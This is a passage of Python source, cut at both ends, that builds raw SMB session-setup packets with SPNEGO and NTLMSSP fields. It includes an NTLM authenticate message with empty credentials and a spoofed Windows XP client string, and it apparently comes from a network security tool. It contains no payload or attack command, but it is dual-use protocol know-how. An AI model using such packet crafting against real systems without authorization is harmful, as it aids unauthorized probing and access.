Len"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data4 = str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data5 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
data6 = str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data7 = str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data9 = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
data10 = str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
## Packet len
self.fields["andxoffset"] = struct.pack("<H", len(data9)+32)
##Buff Len
self.fields["securitybloblength"] = struct.pack("<H", len(data1))
##Complete Buff Len
self.fields["bcc1"] = struct.pack("<H", len(data5))
##App Header
self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(data2))
##Asn Field 1
self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"])))
##Asn Field 1
self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3))
##SpNegoTokenLen
self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4))
##NegoTokenInit
self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10))
## Tag0 Len
self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11))
## Tag0 Str Len
self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
## Tag2 Len
self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6))
## Tag3 Len
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(data7))
#########################################################################################################
class SMBSession2(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00"),
("andxoffset", "\xfa\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x01\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x59\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xbf\x00"),
("ApplicationHeaderTag","\xa1"),
("ApplicationHeaderLen","\x57"),
("AsnSecMechType","\x30"),
("AsnSecMechLen","\x55"),
("ChoosedTag","\xa2"),
("ChoosedTagLen","\x53"),
("ChoosedTag1","\x04"),
("ChoosedTag1StrLen","\x51"),
("NLMPAuthMsgSignature", "\x4E\x54\x4c\x4d\x53\x53\x50\x00"),
("NLMPAuthMsgMessageType","\x03\x00\x00\x00"),
("NLMPAuthMsgLMChallengeLen","\x01\x00"),
("NLMPAuthMsgLMChallengeMaxLen","\x01\x00"),
("NLMPAuthMsgLMChallengeBuffOffset","\x50\x00\x00\x00"),
("NLMPAuthMsgNtChallengeResponseLen","\x00\x00"),
("NLMPAuthMsgNtChallengeResponseMaxLen","\x00\x00"),
("NLMPAuthMsgNtChallengeResponseBuffOffset","\x51\x00\x00\x00"),
("NLMPAuthMsgNtDomainNameLen","\x00\x00"),
("NLMPAuthMsgNtDomainNameMaxLen","\x00\x00"),
("NLMPAuthMsgNtDomainNameBuffOffset","\x48\x00\x00\x00"),
("NLMPAuthMsgNtUserNameLen","\x00\x00"),
("NLMPAuthMsgNtUserNameMaxLen","\x00\x00"),
("NLMPAuthMsgNtUserNameBuffOffset","\x48\x00\x00\x00"),
("NLMPAuthMsgNtWorkstationLen","\x08\x00"),
("NLMPAuthMsgNtWorkstationMaxLen","\x08\x00"),
("NLMPAuthMsgNtWorkstationBuffOffset","\x48\x00\x00\x00"),
("NLMPAuthMsgRandomSessionKeyMessageLen","\x00\x00"),
("NLMPAuthMsgRandomSessionKeyMessageMaxLen","\x00\x00"),
("NLMPAuthMsgRandomSessionKeyMessageBuffOffset","\x55\x00\x00\x00"),
("NLMPAuthMsgNtNegotiateFlags","\x05\x8A\x88\xa2"),
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
("NegTokenInitSeqMechMessageVersionLow","\x01"),
("NegTokenInitSeqMechMessageVersionBuilt","\x28\x0a"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NLMPAuthMsgNtDomainName",""),
("NLMPAuthMsgNtUserName",""),
("NLMPAuthMsgNtWorkstationName",""),
("NLMPAuthLMChallengeStr", "\x00"),
("NLMPAuthMsgNTLMV1ChallengeResponseStruct",""),
("NLMPAuthMsgNTerminator",""),
("nativeOs","Windows 2002 Service Pack 3 2600"),
("nativeOsterminator","\x00\x00"),
("nativelan","Windows 2002 5.1"),
("nativelanterminator","\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["NLMPAuthMsgNtUserName"] = self.fields["NLMPAuthMsgNtUserName"].encode('utf-16le')
self.fields["NLMPAuthMsgNtDomainName"] = self.fields["NLMPAuthMsgNtDomainName"].encode('utf-16le')
self.fields["NLMPAuthMsgNtWorkstationName"] = self.fields["NLMPAuthMsgNtWorkstationName"].encode('utf-16le')
self.fields["nativeOs"] = self.fields["nativeOs"].encode('utf-16le')
self.fields["nativelan"] = self.fields["nativelan"].encode('utf-16le')
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
SecurityBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])
SecurityBlobLen2 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])
SecurityBlobBCC = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
CalculateUserOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])
CalculateDomainOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
CalculateWorkstationOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])
CalculateLMChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMess